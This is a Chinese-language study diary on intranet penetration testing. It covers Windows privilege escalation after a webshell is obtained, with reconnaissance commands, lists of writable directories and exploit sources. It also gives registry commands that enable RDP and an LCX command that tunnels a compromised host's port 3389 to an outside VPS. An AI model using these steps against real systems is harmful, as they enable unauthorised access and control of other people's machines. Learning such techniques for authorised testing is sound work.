记录内网渗透学习进程--DAY1
内网渗透学习记录 2021/4/13
一. WINDOWS提权
本地信息收集
当我们控制了一个webshell后,若是可执行命令的权限比较低,比如无法获取数据库信息等,则我们就需要提升权限,简称提权,提权之间我们必须先要做信息收集
首先假设自己获取了一个webshell,用菜刀进行连接

首先我们要做的就是使用命令 systeminfo 查看系统所打的补丁

使用命令 netstat -ano 查看开放端口

如果控制的系统比较缓慢,可以使用重定向 > 写入文件
接着使用命令 net start 可以查看本地是否有杀软
Tasklist 可以查看本地进程,查看是否有杀软

如果以上命令还发现不了什么的话,可以去c:\progream files(x86).
c:\progream files 目录查看是否安装有防护程序
dir /a “c:\progream files(x86)”
寻找当前所打补丁
wmic qfe get hotfixid
wmic qfe get Caption,Description,HotFixID,InstalledOn

有些时候webshell无法执行cmd,这个时候就需要我们传上去一个同版本的cmd去执行。
在此之前,就需要找到可读可写的目录
例如:
c:\windows\temp\
%temp%\
c:\recycler\
C:\windows\system32\spool\PRINTERS\C:\WINDOWS\IIS Temporary Compressed Files\C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Temporary ASP.NET FilesC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET FilesC:\Documents and Settings\NetworkService\Local Settings\TempC:\Documents and Settings\NetworkService\Local Settings\Temporary Internet FilesC:\Windwos\system32\inetsrv\data\
二.常见提权手法
本地信息收集完成后,我们则就需要选择提权的手法
常见的方法有以下几种
①远程溢出(远程代码执⾏)
MS08067
MS17010 永恒之蓝
CVE-2017-7494 Samba远程代码执行漏洞
这几种方法是我们最快提权的方法,如果存在要第一时间利用
②服务器⽂件存放密码
有一些文件可能会存放着密码,需要我们自己去找
③第三⽅⾼权限应⽤提权
比如数据库,如果数据库有很高的权限或者某些应用有对系统很高的权限,
就可以利用这些第三方应用来提权
如mysql FileZilla
④本地溢出
本地溢出攻击在UNIX比较常见,这是因为UNIX的内核是基于C语言的,在用C/C++编程的时候,由于没有进行边界检查而导致内存溢出,而使系统执行了用户定制的指令而使系统的安全性受到了危害
⑤系统的不当配置
例如apache + windows 默认是管理员权限
⑥DLL劫持漏洞
DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。它是通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的一类漏洞的统称。利用DLL劫持漏洞,病毒木马可以随着文档的打开(或者其他一些程序正常行为)而激活自身,进而获得系统的控制权。
三.Exp寻找
①Google Hacking
②github https://github.com/SecWiki/windows-kernel-exploits 这里是个集合,最新的也有
③国内安全社区,如:T00ls、quansec
④安全门户 www.freebuf.com、www.anquanke.com
⑤msf msf5 > search exploit/windows/local/ 而且可以直接利用
四. 开始提权
本地溢出提权
首先根据版本找个提权exp,放入可读写的目录内

根据说明执行exe,成功提权

如果不行,就从最新的补丁到以前的补丁一直撸,成功为止
tips:①exe文件都是二进制文件,可以随便修改后缀名,一样可以去执行,系统可以自动识别
②aspx比asp权限要大
③找到可读可执行目录 1.利用脚本 2.利用大马
④各种木马可以去github找
五.端口转发
exp利用成功后后,如果我们想登录到目标或链接目标的某些端口(如端口1433,它们不能直接连接),可以将目标端口转发到公共网络。
转发: 转发是渗透中一种手段,是将一个网络端口从一个网络节点转发到另一个节点的行为。结果是使一个外网用户经过一个NAT路由器到达在内网IP地址某个端口。有时候也被称为隧道。
1.链接目标mysql
有时我们得到一个cmdshell,但目标不开放web服务,那么我们不能通过上传脚本连接mysql。此时,我们可以通过端口转发技术将对应于mysql(默认为3306)的端口转发到外部网络的vps上的一个端口,我们连接到vps的一个端口,然后我们就可以了
2.有时连接到目标远程桌面服务
目标服务器是在内部网,我们没有办法直接连接,但也转发端口,你可以连接,在实际过程中,各种需要你连接到其他端口,原理是一样的,相应的服务是不同的
常用工具
一个 VPS
转发工具:LCX (比较常用)
NATbypass (用go语言编写的工具,有免杀功能)
开启3389端口命令: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 好像只对03有效
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 这句话win7可以使用,但是不能直接运行,写个bat文件运行就好

LCX的使用(每个LCX工具的命令都不同,不过都大同小异)
首先现在VPS上监听端口(这里就用一台虚拟机当成VPS) 将8082端口转发给10000端口

接着用肉鸡上的lcx去连接

lcx.exe -slave 'VPS的IP 监听端口(8082)' 127.0.0.1 3389
然后mstsc 连接vps的ip+10000端口

成功连接


浙公网安备 33010602011771号